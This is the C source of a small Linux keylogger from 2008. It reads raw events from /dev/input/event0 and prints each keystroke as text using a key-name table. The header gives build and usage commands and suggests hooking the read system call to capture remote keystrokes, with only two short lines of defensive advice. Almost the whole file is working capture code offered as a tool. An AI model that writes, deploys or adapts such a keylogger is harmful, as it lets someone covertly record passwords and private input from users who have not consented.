c/keylogger/klog.c

   1 /* event0log.c v0.6
   2  * <~~Harvie 2oo8
   3  * THX2:        Dayvee (Idea), joe@aol.com (Reversing),
   4  *                              -=Punka][Tux=- (BugReport),
   5  *                              Warriant's code (Inspiration), Linus (God Blessed Linux)
   6  *
   7  * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
   8  * In other words: this is keylogger for Linux.
   9  * If you have more keyboards, try other events (event1, ...eventX).
  10  * Only local keyboard is supported,
  11  *  remote keys can be captured by hooking on SYS_read() system call.
  12  *
  13  * Build:
  14  * - gcc argv[0].c -o argv[0]
  15  *
  16  * Usage (all examples do the same):
  17  * - cat /dev/input/event0 | argv[0]
  18  * - argv[0] /dev/input/event0
  19  * - argv[0] -
  20  *
  21  * Adding new keystroke values:
  22  * - <XXX> = keystroke id
  23  * - set MAXSTROKE to 0 to get only keystroke values
  24  *
  25  * Defensive security:
  26  * - chown & chmod /dev/input/event0
  27  * - don't give cheap root to everybody
  28  */
  29
  30 #include <stdio.h>
  31 #include <stdlib.h>
  32 #include <signal.h>
  33 #define DEFAULTINPUT "/dev/input/event0"
  34
  35 #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
  36 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
  37         "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
  38         "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
  39         "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
  40         "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
  41         "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
  42         "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2",   "3", "0",
  43         "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
  44         "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
  45         "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<101>",
  46         "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
  47         "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
  48         "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
  49         /* Hint:
  50                 [CAPSL][ESC]    = CapsLock On
  51                 [CAPSL]         = CapsLock Off
  52                 [NUML]<0>       = NumLock On
  53                 [NUML]          = NumLock Off
  54                 3[ESC]3         = Escape
  55         */
  56 };
  57
  58 void cleanup(void) {
  59         fclose(stdin);
  60         fclose(stdout);
  61 }
  62
  63 static void sigint_handler(int signo) {
  64         exit(0);
  65 }
  66
  67 int main(int argc, char *argv[]) {
  68
  69         atexit(&cleanup);
  70         signal(SIGINT, &sigint_handler);
  71         signal(SIGTERM, &sigint_handler);
  72         signal(SIGQUIT, &sigint_handler);
  73         signal(SIGSEGV, &sigint_handler);
  74
  75
  76         FILE *ftest;
  77         printf("Reading data from: ");
  78         if(argc > 1 && argv[1][0] != '-') {
  79                 ftest = freopen(argv[1], "rb", stdin);
  80                 printf("%s\n", argv[1]);
  81         }
  82         if(argc > 1 && argv[1][0] == '-') {
  83                 ftest = freopen(DEFAULTINPUT, "rb", stdin);
  84                 printf("%s\n", DEFAULTINPUT);
  85         }
  86         if(argc == 1) {
  87                 printf("STDIN\n", argv[1]);
  88         }
  89
  90         if(ftest == NULL) {
  91                 printf("Failed to open file!\n\n");
  92                 return(1);
  93         }
  94
  95         printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
  96
  97         unsigned char keystroke[17];
  98         while(1) {
  99                 read(0, keystroke, 16);
 100                 if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) {
 101                         if(keystroke[10] <= MAXSTROKE) {
 102                                 printf("%s", strokes[keystroke[10]]);
 103                         } else {
 104                                 printf("<%d>", keystroke[10]);
 105                         }
 106                 }
 107         }
 108
 109 }